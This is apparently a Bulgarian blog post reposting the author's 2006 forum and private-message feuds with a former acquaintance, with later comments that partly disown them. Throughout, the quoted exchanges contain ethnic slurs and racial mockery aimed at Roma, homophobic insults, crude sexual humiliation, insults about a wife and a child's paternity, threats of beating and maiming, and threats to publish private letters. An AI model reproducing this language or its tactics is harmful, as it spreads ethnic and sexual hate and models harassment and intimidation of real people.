Това, че не си му биологичен баща (на М.-чето) не ти дава право да го лишаваш за сметка на алкохолизма си. Тази сладка кукличка не е виновна, че е плод на БЪЛГАРСКО семе.
Бъди жив и здрав и не се отваряй на чичо Грифон, пак ти казвам!
По същия модел... наистина ми се струваше, че това дете не е негово... а и като ме провокираше, нападаше и прочие, намерих за нужно да му го кажа... Отделно, все пак, го предпазвах от съкрушителна победа в спаринг.
-
От времето, когато отношенията ни съвсем загрубяха. Както казах - не може някой изведнъж, въпреки че си искал да му помагаш с цената да си разваляш дори отношенията с жена си, да почне по едно време да се оварварява и да ти разправя, че като се видите ще се биете, ей-така, за кефа, понеже видиш ли, той бачкал по строежите и много заякнал. На такива - никаква аванта, защото после ти се качват на главата и те заробват психологически.
"бисексуален само веднъж в живота си..."
БАСИ РЕДУКЦИЯТАААААА :)))
Даже не помня по какъв повод е писано.
"Заради тебе."
АБе знам, че си го мислиш от доста отдавна, ама ПРСТО НЕ СИ ПАДАМ ПО МЪЖЕ! Още по-малко по роми! Потвърждавам, че съм хетеросексуален демек. А за ромите - нищо лично, просто този беше ром наполовина и се прояви деграндатски.
"След това няма да има спрямо какво да съм бисексуален..."
ВЕЧЕ НЕ НАВЕСЯВАШ ЛИ КОЛЕГИТЕ СИ СТРОИТЕЛИ? Аха, явно за него ставало дума. Абе всеки да си решава каква сексуалност да има. Аз съм достатъчно либерален да не им се меся, стига да не закачат моята си.
"Ако те екстрадират де, ама едва ли ше стане. Макар че си заслужаваш. Но живота е несправедлив."
АЗ СЪМ ПРЕДАН НА КИТАЙСКИЯТ НАРОД И НЕ ЗАСЛУЖАВАМ, ОБАЧЕ ТИ ЗАСЛУЖАВАШ ДА БЪДЕШ ЕКСТРАДИРАН В ИНДИЯ, ОТКЪДЕТО СЕ Е ПРЪКНАЛ РОДА ТИ! НАЛИ ВСЕ МЕ УБЕЖДАВАШЕ КОЛКО СТЕ БИЛИ ВИСШИ ВИЕ - ЦИГАНИТЕ? "Ariec"---XAXAXA!!! По-сетне понаучих, че според генетични и др. изследвания голямата част от циганите не са от Индия, а от днешен Пакистан. Колкото до Индия, той самият си го беше писал, че все в някоя каста щели да го зачислят там, ама аз съм нямал шанс в Индия. Все едно, че много съм се засилил натам. ;D А за китайския народ - ами, с малки изключения (във всяко стадо си има и мърша, както казва една народна мъдрост), аз съм си предан и си го обичам, но след като настъпи напоследък една такава императоризация, засилваща се ксенофобизация, милитаризация (днес научих, че увеличават военния бюджет със 7,2%) и прочие, е, съжалявам но не отговаря на моите социалистическо-пацифистки и демократични убеждения. Ще се напуска, живот и здраве.
"Ама ти не виждаш ли че с тия непредизвикани сранета ( без предизвикване- един път влизам тука и те виждам да обсъждаш в Политика моята сексуалност)само се правиш обект на публично освидетелстване......."
АМИ ДА НЕ СТЕ СЕ НАГОВАРЯЛИ С ХОЛАНДСКИЯТ ПРЕСТЪПНИК СРЕЩУ МЕНЕ, СЕГА ЩЕ СИ СЪРБАТЕ ПОПАРКИТЕ! И що занимаваш хората с простотии, уплаших ли те на личните? Нали уж пишеше на Грифон, че ти харесвали гей-снимките, дето подбрах специално за тебе? Отделно си му фантазирал някакви извратености- може и той да покаже писмата ти до него! Как пък ти не омръзна с твоите перверзии, бе?!
Едно време те имах за свестен!
"Земи си затвори хранителното отвърстие по предмети като мен и неща свързани с мен..."
Я ВИЖ КОЙ МИ ГО КАЗВА!
"Не ми се иска да се притесня че си влюбен в мене...
Погнусявам се..."
ЩОТО НЕ ТИ ПУСКАМ ЛИ? АМИ НЯМА! ТОВА, ЧЕ ЖЕНИТЕ СЕ ГНУСЯТ ОТ ТЕБ( Справка - писмата на Ани), не ти дава повод да ми досаждаш на мене и на Грифона! Има си жигола за тази цел, нали ужким вземаш 400 лева, не става ли?
"Иначе айде жив и здрав....(последното особено)
"
И ти, и ти !( Първото особено, предвид, че много скачаш на бой по форумите и някой без да иска ще ти счупи черепа, а хич не ни се иска да губим интелект като теб!).
И гледай как си губиш времето, даге! ВМЕСТО ДА ПОКАЖЕШ, ЧЕ СИ ПОЛИТОЛОГ И ДА ОТВОРИШ НЯКОЯ ТЕМА СИ ВЗЕЛ ДА СЕ ОБЯСНЯВАШ КАТО НЯКОЙ ...
БЪДИ КРЕАТИВЕН, БЕ! Много ниско ниво... особено по отношение на губене на време в размяна на такива "любезности". Хора, по онова време, които се потрудиха да правят бизнеси, по-сетне, ако не им загинаха бизнесите заради ковидизациите и императоризациите, се оправиха с пъти повече от мен (а и, предполагам, от него).
_________________
Ха-ха-ха!!!
Ако ти видят предни постинги как хвалеше Китай( ама то сигурно е било, за да ми се подмажеш, че да те измъквам насам) ще се чудят как сега го обръщаш на 180 градуса!
Тази инверсия, сладък Ромич, да не е паралел на друга една - кексуална при теб? Много отвратително е това да хвалиш нещо, някого и след броени дни или даже часове, ако ви се влошат отношенията да си сменяш позицията, ей-така, субективно.
________
Като говориш за подкупи- АМИ ТУКА ЗА ТОВА РАЗСТРЕЛВАТ, в А БГ? ( шмрък-шмрък...плаче ми се). Имам предвид, че борбата с корупцията е нещо добро, но по-сетне видях, че не е задължително да е много сериозна - напр., когато само се използва за саморазправа с политически опоненти (дори вътрешнопартийни такива).
________
За местите и неместните - абе и ромите не сте местни за БГ, ама ви търпят, какво да ви правят! ( Ако някой не вярва, може да му пратиш снимка, като тази наркоманската, дето си пратил на Грифона да го сваляш, те ней срам!!!). Имам предвид, че исторически, поначало не е имало роми, но са дошли после. А що се отнася до днешните, родени в държавата - роми, татари, каракачани, власи и т. н., дори виетнамци или руснаци - всички са си местни и си имат правата и задълженията, особено ако са със същото гражданство като българите в България. Не искам да дискриминираме никой етнос и никого на етническа основа. Все пак уча се да бъда колкото се може по-цивилизован и обективен.
______________
И нещо по-лично: Нали ходенето в Холандия ти се размина както и това в Китай - защо не пишеш нещо лошо и против Холнадия? Примерно как не им работи полицията, как са узаконили проституцията и наркотиците... Да не е щото на времето като ти виках да се пазиш от проститутки - ти ми викаше, че точно това било хубавото( не си уточнявал полът им, де). Каквито и проблеми да е имала (има) Холандия, все пак, обективно погледнато смятам (в днешно време), че не е толкова зле и е за предпочитане пред всякакви автокрации (и де факто, монархии), както и пред някои партокрации, хибридни режими и демокрации.
___________________________________________________
Бил обект на лични нападни...Баси наглия тип:))) Ама досущ като събратчетата си от Столипиново дето се оплакваха че полицията ги бие, ама не казваха "ПОРАДИ ЩО".
Да си спомянш, че ти и Оправният илъгахте, че съм се женил заради виза и жената дето е такава готина пичка, я изкарахте космата, дебела и грозна, А, другарю Ромов?
Ама-Ха! За съжаление, по-сетне се оказа с психически разстройства. Готиността остана само на физическо ниво (външност).
"Принуждавам се за енти път да потвърждавам че това е Е БОЛЕСТНА ФАНТАСМАГОРИЯ КОЯТО СЪЩЕСТВУВА САМО В ДЕЗОРИЕНТИРАНИЯ ТИ И ДЕЗОРГАНИЗИРАН (ПОНЕЖЕ Е ДЕСОЦИАЛИЗИРАН( по обективни причини)) И ПОРАДИ КОЕТО ПАРАРЕАЛИЗИРАН МОЗЪК."
1. За ЕН-ти път, искаш ли да ти публикувам всички писма тук и сега, за да се види КАКВО СИ ПИСАЛ ЗА НЕГО?
2. Десоциализира си ти:
а/ На дърти години прослуша метъл, за да избиваш комплекси.
б/ Напиваш се редовно.
в/ Налиташ на бой, въпреки, че си недъгав!
г/ На последната снимка изглеждаш даже надрусан!
То ти не си Де-соцализиран, ти си направо А-соцализиран и АНТИ-социализиран!
"ПАРА-РЕАЛИЗИРАН" е дума, скоято се сблъсквам за първи път! Има какво да се научи от теб, другарю юристо-политолог!
Мисля че много добре съм отговорил, обосновано и честно, прямо.
"Нито с Буйтенландер сме опитвали да ме прибира незаконно в НЛ нито даже сме имали такива варианти наум."
ХАХАХАХАХАХАХАХАХАХАХАХАХАХАХАХАХА!!!!! Нали Какито ти го предложи, бе, мой! И после искаше да те прибира, даже тайно от нея! Да пусна писмата, а? Много мразя лъжци. Вместо да си признае, да се покае, да се извини, да усвои по позитивен начин грешките си, като се поучи от тях и стане по-добър, той едно пише, друго после твърди. Затова е хубаво да се пазят такива неща, че като някой почне да се извърта да му се покаже.
"Набий си го най после в дебелата тиква и стига клевети и лъга като...Хм....
;-))) (така де!)"
Абе да взема да пусна писмата, какво ще кажеш? Още мъничко ми поиграй по нервите и ще си го направиш сам. НЕ ТИ Е ЗА ПЪРВИ ПЪТ ДА ПРИГРАВАШ И ПОСЛЕ ДА СЕ КАЕШ! Нали?
Наистина много търпелив съм бил. Ако беше сега, ооооо, направо да не губя време, пускам всеки какво точно е писал/казал и да се оправят!
"Писна ми на к... от истеричните ти изг...ци. Приличаш на карикатурен образ на цар Мидас от митологията...."
Както ти е казала Ани - "Не е важно какво си видял, какво си си помислил, какво ти се е сторило. Просто забрави за мен и не ме занимавай с това в какви клоаки копаеш..." / Много ми харесва това писмо!!!/. Много правилно.
"Оня е превръщал в злато всичко до което се докосне, ти каквото пипнеш и става на г...на....."
АМА ТО И ИСУС Е ПРАВИЛ ВИНО ОТ ВОДАТА, ти ПОВЕРВА ЛИ ОТНОВО? Който не знае - да кажа, че по-рано си бил сектантче, после заради "любов" станал най-отявлен атеист, сега да не си вЕрващ отново, мой? А като става дума за Мидас - то и магарешки уши, според митологиите, му порастнали. Можело е да добавя, че Мидас по-приляга за него - хем каквото докосне става безполезно (както в реалната история, която човекът може и да не е научил, защото от много злато, дори дъщеря му станала на златна статуя, нещата тръгнали на зле), хем и външният му вид мязаше на нещо, което и лице с магарешки уши да е, пак няма да е толкова, хм... некрасиво да речем. Но, донякъде, не е виновен той, като изключим, че за него спортът и здравословния живот не съществуваха - ако не се наливаш с алкохол, спортуваш, определено ще си поне малко по-красив, отколкото си бил.
"Гога, не разбра ли че си БОЛЕН ? Нито Буйтенландер е трафикант, нито аз съм обект на трафик и не съм бил."
ААааабе болен е този, който не помни. Чакам отговор- ДА ПУБЛИКУВАМ ЛИ ПИСМАТА ТИ ИЛИ НЕ? Ставаше дума за трафик на нелегален емигрант, не за нещо друго. Някакви планове за нередовна виза май крояха, не си спомням, но като цяло не одобрявах, та исках честно да се изкаже всичко. Иначе много подкрепям един безвизов свят, без толкова гражданствизъм (дискриминации заради гражданство) относно което мисля даже да пиша повече, по-натам, да сме живи и здрави!
"Единственото вярно е че съм циганин и то нечистокръвен ( в което не виждам нищо срамно)...."
СТАР АДВОКАТСКИ ТРИК- да си признаем част от истината, за да не признаем другата, СЪЩЕСТВЕНА, част! А съществената беше, че циганин или не, човек трябва да е с добри качества и да не е агресивен, лъжещ и пр. както той беше деградирал в онзи момент. Сега, дано, може и да се е променил, ако е жив и здрав.
"Ама точно от един мелез по отношение на татарския си произход (съмнителен, за разлика от самосъзнанието) да получавам нападки ми изглежда само смешно."
АМИ ВИЖ СЕГА - АЗ ИМАМ СВЕТЛИ ОЧИ И БЯЛА КОЖА. Според Гьобелската съм "ЧИСТОКРЪВЕН АРИЕЦ"( нещо с което ти се хвалиш без основание)! Нямам нищо против да съм 100% българин, ЗАЩОТО БЪЛГАРИТЕ ПО ПРИНЦИП СА БЕЛИ. Но ти шоколадчо, КАТО КАК ЩЕ БЪДЕШ ТАКЪВ? Знаеш ли колко пъти сме се безспокоели тука (феновете ти от форума) дали не си осъмнал пребит от скинари? Пояснявам, че имаше една интелигентна ученичка, но с ник "Гьобелс", та това прилагателно в женски род обозначава нея. Аз никога не съм бил с нацистни възгледи, макар и да съм приемал демократично, плуралистично и дискусии с такива хора (нацисти, фашисти). В днешно време още повече съм на позиции за антирасизъм, антишовинизъм, антифашизъм и пр., защото виждам колко е несправедливо и античовешко някой да бъде третиран зле само защото е от различен етнос, цвят на кожа и пр. В горното си изказване не съм искал да бъда колорист (все пак антиколоризъм също е важно), но той нали се заяжда и почва пръв... нещо като защитна реакция.
"За разлика от горните ти одрисквания, щото те вече са измама и клевета И ПО ЗАКОН. А закона го знам по добре от тебе.
Аман.
"
СЪС ЗАКОН НЕ МЕ ПЛАШИ - клевета е, когато не може да се докаже! аз имам доказателства! Законът си го знаел по-добре от мене? Ами що тогава не си упражняваш професията, ами бачкаш по строежи? Явно не си много търсен като юрист, щото си юрист "на книга".
Представям си как като тука те прави на "2 ст." един скромен магистър по философия само с 1 семестър риторика, какво би те направил някой мастит прокурор! Няма да можеш да си кажеш заглавието!
А напоследък още повече внимавам какво твърдя - даже и да съм сигурен, ако нямам поне 1 доказателство, предпочитам да не казвам нищо. Така е и по-научно.
_______________________
Не можеш да спориш, защото си наплашен от мене, особено след като те разбих по няколко пункта:
а/ Не знаеше, че Мамелюките са кумани при династията на Байбарс (сам каза, че съм те заклал).
б/ Не знаеше, че Панчен-лама е по-висок титул от Далай-лама!
в/ В Ол.бг пък направо , както сам каза, те мачках на лягане и ставане по въпросите на качествените преходи и материята (Е, ти намачка Хамил, което си беше успех, но аз не съм Хамил).
Ами тюркология, будистология, диалектически материализъм - все неща, които доста съм учил и самонаучавал.
_________________________________
Иначе батката си го "баткай", ама дали като ти прочете писанките ще му е пак толкова драго?
:)))))))))))))))))))))))))))
Двуличието не е добро нещо.
Комфортабилен педераст :)))) Бягаш, а? Какви словосъчетания само, а? ;D
"Иначе АКО все пак Нинг разбере че я третираш като предмет за фрикции и домашна помощница"
Не е вярно, аз я обичам. а по принцип ти третираш така жените и затова не ти се връзват. Че ти изгуби от конкуренцията даже на елементарен човек като Удобния! Какво да говорим повече?! Вярно беше, че имаше и любов, почти до последно, но с ненормален човек не е лесно.
" и се разведе с тебе и не намериш ( което е малко вероятно, тъй като китайките са тъпи)"
Хахаха!!!! Педал. Достатъчно умни са, а да не се обвързват с цигани, поне! Правя някои уговорки - 1. Ако циганинът е образован и отговорен, културен човек, има си китайки, който ще го изберат. Доказателство е, че някои китайки са обвързани сериозно с пакистанци, които са си, общо взето, генетично и езиково, родствени с циганите. 2. Разведен чужденец също няма много проблеми да си намери нова жена, но понякога има такива с предразсъдъци, които смятат че "разведен = задължително лош". Друг е въпросът дали е разумно човек да се обвързва в държава, която все повече заприличва на едновремешна империя. 3. Навсякъде си има и глупави, и умни хора. Умните са по-малко. Научен факт.
"друга, и те екстрадират обратно в БГ..."
Не бери грижа! Мога да да подписвам договори до дупка или да искам политическо убежище, което ми се полага по закон! Все пак съм татарин, анти-натовец и комунист, предан на държавата! Знаеш ли днес какво правя? Отварям Гугъла до дупка, понеже сепаратистите от Тибет, живеещи при циганите ти са обявили четвъртък за ден- бойкот на Гугъл!!! А аз ще го отворя днес поне три милиона пъти! Защото обичам Китай и Партията и имам воля! Чу ли, бе, гъз?
1. Вече не само гражданство (да не говорим за политическо убежище!) не искам, но и от зелената китайска карта се отказвам, защото не искам повече да рискувам да ми се разваля постигнатото през годините с произволни локдаунове, а и не понасям засилващата се императоризация, ксенофобизация и пр. 2. Под "цигани" тук имам предвид индийците, защото много от тях са сродни генетично и езиково с циганите; по-сетне научих, че пакистанците са по-сродни. 3. Наистина бях много голям привърженик на цялостта на Китай - не ми харесва раздробяването на държави - примерно Чехохсловакия ми се струваше по-перспективна от само Чехия и Словакия, или пък Югославия... но, обективно погледнато, не всеки сепаратизъм е един и същ - някои сепаратизми са по-резонни от други. Това е много сложна тема.
3. Гугълът беше забранен в цял Китай. Това ми попречи доста на онлайн развитието. Да не говорим за комбинацията от забранени (недостъпни) Гугъл, Фейсбук, Уикипедия, Ютюб... 4. Партията вече не е дори партия, а е еднолично командвана организация. Нещо като "партиите от лидерски тип", та нямам никакви намерения вече да ставам партиен член (както исках преди много години).
"Тогава мога и да си спомня за тебе . Замалко."
... Спестявам коментарите, че бяха много прекалени. А и не бяха мислени сериозно.
"Грифона е крайно тъпо парче но всъщност като се замисля няма нищо отвращаващо в него."
Абе знам, че го сваляш!
"Само е тъп."
То не трябва да си гений, за да си военен на 44 години и да си каратист, дето ще те смели на каймица! Който тренира, и на 70 може да е в добра форма, ако си говорим сериозно. Иначе съм твърдо против насилието!
" И ако не е друго , не е путка. "
Ами щото не е задник и духач като тебе!
"Виж, ти си отвратителен. По онтология."
Ами щото обичам да пребивам (такива като тебе)! Нещо по този смисъл беше и то "огледално" на едно негово изказване, че обичал да пребива не знам какви си. Аз не съм агресивен без причина и съм много миролюбива личност.
"Така че ще загубя малко време за да те осакатя."
Ще осакатиш баба си! ... И още разни добавки имаше, но то в пристъп на гняв. Както казах, не съм такъв човек. Бой само при самозащита.
" След което пак ще те забравя. "
След което ще ходиш с бастунче!
"Дотогава си тряй и не замърсявай околната среда с продуктите на мозъчната си дейност."
Духай!
"Нямам никакво желание да аддвам в Кюто с разни японки."
Ами щото си гъз! Не искаше да приема дори помощ за запознанства като деградира. ;) ;D
"Ако искаш пиши на Ани, ако искаш пиши на папата..."
Може и да опитам!
"От това смрадта ти само ще се увеличи а по малко путка няма да станеш....
Оправяй се."
Да не казвам какво му отговорих! Няма смисъл просто да си спомняме чак такива неща, нищо че той директно си ги просеше!
___________________________________________
Ще убиеш на майка си путката, ще убиеш! Ти се надценяваш ужасно много, бе, гей! Знаеш ли колко ми пука, че имаш незнам колко си сантиметров нож? Ще ти го взема от ръчичките за секунда и... (спестявам изблиците си)
За Грифона - не ми се обяснявай! Страхливо лайно си и не си отишъл, а той те е чакал. Толкова. Не ми се разсъждава колко уважаваш шефа си и пр. , понеже ти си ненормално копеленце, а при тебе няма логика. Действаш импулсивно и после се каеш... (и тук да съкратим малко, че не е красиво.)
Хич не те знам какви капани правиш; дали си се застраховал и искаш да ти счупят кокалите да вземеш пари или просто чуваш гласове - проклет мангасар си и си носиш от предни животи кармични наказания- можеш да се погледнеш колко си жалък като визия, съдба, семейно положение... Абе пълна скръб си. Ако има Господ- вярно те е наказал! Става дума, че говореше как щял да подкупи двама китайци да ме биели, а той да гледал отстрани - някакви такива "капани", доколкото си спомням. Страшна деградация от негова страна, но и аз бях доста по-импулсивен тогава, та добре съм го нареждал.
Иначе дай Боже да се видим някой ден!
Хайде - ходи да духаш по строежите!
A ETO KAK SE E 4UVSTVALA JENA TI, DOKATO E BILA S TEBE/ razlikata e, 4e ku4eto e po-4isto i bqlo ot tebe/: Спестявам снимка, която е била от Яху-сърча. То и Яхуто вече е спряно в Китай, какво да говорим... Иначе съм против колоризма. Бял, кафяв, жълт, черен - все едно, важното е да е добър човек.
_______________
Тук има някакви други запазени, от същия период.
共产
Thu Feb 16 15:02:07 2006
Отг: Май ще се окаже
--------------------------------------------------------------------------------
Ще ти обясня, когато ти ми обясниш защо същият този Тайван има по-ниска смъртност от Холандия, но по-висока от Виетнам.
А де!
Иначе общуването с еднооки роми ти оказва пагубно влияние! Лъжеш като разпран---------нали досега съм комуникирал с тебе по другата тема за какво подвеждаш народа?
А Кика С е забравила КАК ТОЧНО за средната заплата в Китай преди месеци й дадох данни (от сайт!) и я наврях на едно място, от което дълго време не се появяваше! Беше се опитала да дава ниски показатели, за сметка нареалните високи!
За съжаление сегашната икономическа ситуация, вкл. заплатите, в Китай вече не е добре както беше през 2006 година и по-сетне.
Ne vijdam kak ti e priyatno postoyanno da te zlepostavqt po foruma. Vqrno, `e ima6 nqkolko 4oveka, deto te podkrepqt, no prosto vij koi sa te:
CA12 - 80-ti nabor, alkoholik, deto smqta, 4e Oceaniq e v Afrika i, 4e tiraniya e ob6testven stroy!
Gorsiqt - travmiran ot komunizma 4ovek, deto smqta, 4e USA ne porobvali nikoy, a samo imali partnyori na ravnopravni na4ala.
Nedev - virtualen bliznak na Gorsiq.
Shade - s neuto4nen pol, parazitira6t po temite. Ne znae koy e Gavrail Hlytev i kakvo e Sikim.
Kotseto - tipi4no za mangal pyrvo te predade v pismata si, posle vze da ti se mazni (qvno rabotata v Bg pak ne mu vyrvi). A ti, Narki, vij go vzemi tam, 4e da si vzeme6 belq na glavata- mnogo 6te se radvam da ti se natrese.
Jena mu go izostavi,
Mariyana mu bi 6uta, 6toto y doyde do gu6a kato na mene!
Ani go razbra 6to za layno e i sega mu se kani da go bie s biya4i.
Samo ti si mu ostanal i o6te edin v Sofia, deto go tyrpi po neobhodimost!
Ta s drugi dumi - pojelavam ti uspeh!
Уточнявам, че по онова време наистина имах предразсъдъци спрямо ромите, но после понаучих повече, видях повече етноси и свят, понаучих още антропология и вече не мога да поставям всички под общ знаменател - във всеки етнос си има всякакви хора, включително и сред ромите. Този ром се оказа лош, но не значи че всички са такива. А и този, след толкова време може да се е поправил. Нищо не се знае.
-
"I love your stupid infantilical river of words."
В ЕДНО ИЗРЕЧЕНИЕ И ВЕЧЕ ГРЕШКА (ЛЕКСИКАЛНА, не само смислова!) Прилагателното е "infantile".
"Всъщност разбрах горе доле как в сбъркания ти мозък предположенията и догадките на възпалена фантазия се превръщат в убеждение за реалност."
Разбрал си един Х@Й си разбрал, смотаняк недъгав! Нивото на изнервеност се беше покачило на максимум.
"Маечка си е моя лична, не се безспокой."
Предвид това, че момичетата са ХХ, а не ХУ, трябва поне 50% средно да прилича на теб (знайно е, че момичетата приличат на бащите си). Е, детето си е нормално и прилича на баща си, т. е. не на ТЕБ :))) Щастливец!
По-сетне видях примери на момичета почти точни копия на майките си, та явно няма строго правило. Генетичната рекомбинация не е толкова проста, колкото ни се е струвало преди много години.
"Генетично е резултат на кръстоска през поколение. 3ма от дядовците и бабите плюс майката са синеоки и светли. Ама ти и в генетиката си кухар."
Съмнявам се - ако искаш да отворим темичка да си поспорим за генетики - ти избери каквото решиш. Забрави май, че съм антрополог. Иначе прекрасно се успокояваш, НЯМАШ ДРУГ НАЧИН! (нито ИЗБОР). Тъмните очи, по принцип, са доминантни, но както казах - не е толкова просто, а и, ставаше дума за цялостния облик, но както и да е. Има си тестове, който иска да се оправя, не е моя работа.
"А Грифона и да ме набие ше ида."
ЗАЩО?
а/ щото си тъп?
б/ щото си много тъп?
в/ щото си си направил застраховка и искаш да вземеш пари от потрошаването си?
г/ щото Ани ще се влюби в тебе, че си пребит?
д/ щото чуваш гласове?
Случайно да ти е минавало през ум, че от един побой се осакатява, а перспективата да си инвалид в БГ не е голямо блаженство?
Винаги с идеята да предотвратим насилието. Пацифистка ориентация.
И, всъщност, никъде не е добре да си инвалид.
"Щот не съм Гогопутника да влизам само в безопасни конфликти и ако си мисля че ше бия."
Значи ти си голямата работа, понеже влизаш в ОПАСНИ кофликти? Ами то си личи колко си първобитен мангал! Хората цяла цивилизация мислят и осъвършенстват начини за избягване на конфликти ти сам се натрисаш. Ами идиот си си. Що като си толкова боен не се явиш в София на свободните двубои? Там при победа дават 2000 лева. И са легални! Хем ще ти натрошат канчето, хем ще вземеш някой лев (при загуба дават 1000 лева), а Грифона само ще те пребие от бой и ще си останеш без нищо. Приятелски съвет, Коценце деградирало.
Рационалност до край.
А за свободните двубои по онова време имах информация само онлайн. Не знам доколко е била точна.
"Въпрос на достойнство макар че в комуналката ти тва е непозната дума."
Достойнството е, Изроде, ПЪРВО да не предизвикваш хората по такъв просташки начин! Та недей като си осрал достойнството си да се хвалиш с лайняни неща, щото миришат!
Намерил кога и с какво да изгражда достойнство. Отвратително.
"Гоги ама така като си кратко не ме забавляваш мойто момче и няма кво да показвам на тайфата."
Показвай докато е време, че после ако комата те подкара с години наред ще си само на легло. Както виждате не спира да ме предизвиква, после негодува. А и наистина добре, че не го вкараха в кома, поне докато го познавах и комуникирах с него. После, ако много е почнал да се отваря наяве (както беше писал в някакъв сатанински форум, че се противопоставяли на някакви скинари (а той металист бил с някакви други метали), може и да е пострадал; нищо чудно, имам предвид.)
"Бъди по обстоятелствен, моля те. Не си ни забавен. Покажи орална пяна със съмнителен произход по пастта си."
Брях , откакто стана духач как пък ги разбираш тези неща, мама му стара! :))
"Иначе с жена ми не си контактувал, вервай ми. И не те намира за сладък. Неделята си говорехме за тебе така че си избий и тая налудност от пихтията в черепчето."
Хахаха, Мангалчо е забравил, че той ми каза за жена си. Разбира се, че не съм говорил с нея, аз да не съм безпринципен ром като тебе да се слагам на чужди жени, бе, плазмодий:))) То ти стига, че над 50 човека вече са се видели с нея, ЕЛЕ ПЪК И АЗ ДА СЕ ТУРЯ, ще ти стане много...
"Всъщност именно тва че не искаш деца е един показател че си недобре, Гога."
Абе, простак, нали ИМЕННО ТИ МИ КАЗА, да нямам деца, ако не си реша бе! Нали точно ти съжаляваше, че си направил дете? Що си кривиш душата повече от А и Ц. К. взети заедно? Даже го беше написал с някакъв патос от сорта на "А дете от жена, която не обичаш достатъчно, НЯМАЙ!"
"Предполагам че може да се коригираш. Иначе имам прозрение че и една злобарка да си тресна пред снимката на жена ти ше го направя с повече чувство отколкото ти я чукаш."
Ами виж сега:
а/ знам, че само на злобарки го караш, то е очевидно, че путка няма да видиш, ами поне вземай по 2 (при късмет- 3) лева на свирка от братята ти мангали и това е секса за тебе.
б/ признавам, че ме ПОБЕДИ и не мога да ти го върна с жена ти по същия начин, щото ПРОСТО ТВОЯТА НЕ Е ГОТИНА КАТО МОЯТА, а и не съм на сухо като тебе, че да си правя злобарки на снимките на жени...
в/ ако си решил, че като биеш чекии по снимки, Ан ще те заобича или детето ти няма да е от съседа - откажи се. ТИ СИ АТЕИСТ И УЧЕН И НЕ БИВА ДА ВЯРВАШ В ТАКИВА ПРИМИТИВНИ ШАМАНСКИ ЛЪЖИ - МАГИИ...
А за тази обида, много по-кофти нещо му казах, но не коментирам; просто да се знае, че не съм останал длъжен.
"Ми ти си ми просто един малък пор. Нищо повече."
Аз съм ти един пример каква е разликата между човека (аз) и недоразвитият питекантроп, останал на ниво ... и не се развил до татарин, българин и всякакъв друг НЕ_МАЙМУНЯК и НЕ_... (ти).
С леки корекции, защото не искам да засягам хора, които макар и да приличат на него са по-добри.
"Я да вида тва ше подейства ли да ти се отприщи логореята."
И ти не знаеш какво е логорея!!! Логорея е, скъпи педалчо, когато Ани ти каже, че НЕ ИСКА ДА Е СТЕБЕ, ЩОТО СИ ГРОЗЕН, НЕВЪЗПИТАН, ЕГОИСТИЧЕН и пр., а ти я засипваш с 1 000 000 несвързани думички, от които резулатът е, че жената се вижда в чудо и иска да ти прати биячи. Разбра ли сега какво е логореята?
Не подкрепям такива саморазправи извън закона са; но човекът наистина е заслужавал поне да се оплачат от него по законовите начини. Все пак той освен, че досаждаше и заплашваше от типа на "Днес копаем тука, утре сме на улица близо до вас, както виждаш кръгът се стеснява."
"И наистина ше те остая че си скучен."
Да, ама да духаш за пари по строежите, докато други оправят жена ти не ти е скучно ,а? Що ме обиждаш така, бе? Ти за 2 лева ли си, бе? ЗНачи вместо да четеш мъдрите ми слова, бързаш да гълташ ... сперма за 2 лева!!!
ВСИЧКО ДРУГО БИХ ТИ ПРОСТИЛ, НО НЕ И ТОВА!!!
Голям хумор, голямо нещо... но като си го изпроси човек и като не спира, така е...
__________
Вече сериозно гледам да избягвам такива контакти, за да не се налага да се стига до такива грозни сцени.
-
И тези са от 2006-тата година, но са от форум и са свързани с други спорове.
Aми да, казах аз, че само използваш бойкота, за да избягаш от темата по която аз и Иванчо те направихме на 2 стотинки, ама кой да ми повярва.
Значи да припомним - според твоите изчисления излезна, че 95 000 000 американци са само "една шепа" народ в САЩ, от което следва, че 1/3 от хората в държавите са просто една шепа. Всяка държава се състои от 3 шепи.
Със завидна точност изчисли, че в САЩ живеят почти толкова китайци, колкото в Китай!!!
И най-накарая не можа да решиш една простичка уловка, та се наложи да питаш мъжа си, да ти каже, че едно животно на кантар, независимо на колко крака е стъпило, не си променя теглото.
Това наложи резонният въпрос - като каква пребиваваш в САЩ, където по принцип не търпят малоумни емигранти. Не ти стана удобно да отговориш и си замълча.
РАДВАМ СЕ, че:
а/ От това, че в САЩ имало нелегални ресторантьори си "потвърждаваш" убеждението за единия милиард китайци там.
б/ Радвам се също така, че се ДОКАЗВА МОЯТА ТЕЗА, че емигриралите китайци от КНР са основно негодници, които стават за дружки на по-големи от тях (като теб).
1. Под "негодници" съм имал предвид не-годници, т. е. негодни или не много годни да се развият в Китай, та затова отиват в САЩ. По онова време, да поясня, в КНР си имаше идеални условия за бизнес, повече свобода, повече истинска партийност в ККП-то, нямаше произволни локдаунове, беше по-толерантно към чужденците и всеки годен за бизнес китаец можеше великолепно да си се развива и тук. Сега обаче, по-скоро е обратното - при все по-голяма ограниченост на всички нива и цялото това императоризиране, редуциране на английския език, чуждите сайтове, образованието като цяло, засилването на националистическите и ксенофобски тенденции и какво ли още не, по-добре е хората, които са годни, да опитат в чужбина. Иначе, ще бъдат нещо като останалите в Русия, Северна Корея, Иран... натам отиват нещата като тенденция.
2. Тази жена, някаква емигрантка в САЩ, наистина не е била много интелигентна. Е, може вече да се е изучила, хората могат и да прогресират, не само да регресират.
__________
In reply to:
----------------------
Та внимавай като забремениш жена си, да не вземе да те изяде, че някои насекоми странно реагират при размножаване.
--------------------------------------------------------------------------------
Aбе по-скоро ти си насекомото, че се плодиш като същинско такова и интелектът ти е сводим до този на муха (за мравка ще има да си чакаш). Не са ли те учили, че има едни неща, наречени противозачатъчни, или то по навик от магистралите в БГ, пестиш от предпазни мерки? АМИ НЕДЕЙ ТАКА, БОЛЕСТИ ИМА!
In reply to:
--------------------------------------------------------------------------------
P.S.Внимавай сега като започнеш да ме плюеш, някоя пръска да не те уцели, че може да ти направи дупка в бузата.
--------------------------------------------------------------------------------
Ами, който се изживява като плювалник, много ясно, че ще му се привиждат плюнки. Ама то при тебе е разбираемо. "Клиентите" като "свършат" и ти теглят една плюнка от отвращение.
Айде със здраве и умната!
П.С. Внимавай сега като започнеш да отговаряш, да не ти се ядоса някой, че си нарушила бойкота, щото няма само да те плюят.
____________
Тук май е ставала "словестна престрелка" с онзи, който тотално деградира по едно време, въпреки че давах най-доброто от себе си да му помогна в живота.
"1. N/A e ravno na nula
2. V KNR ima turkmensko "represirano" maltsinstvo
3. Jenite ne moje da se ekzekutirat, daje i da ima smyrtno nakazanie
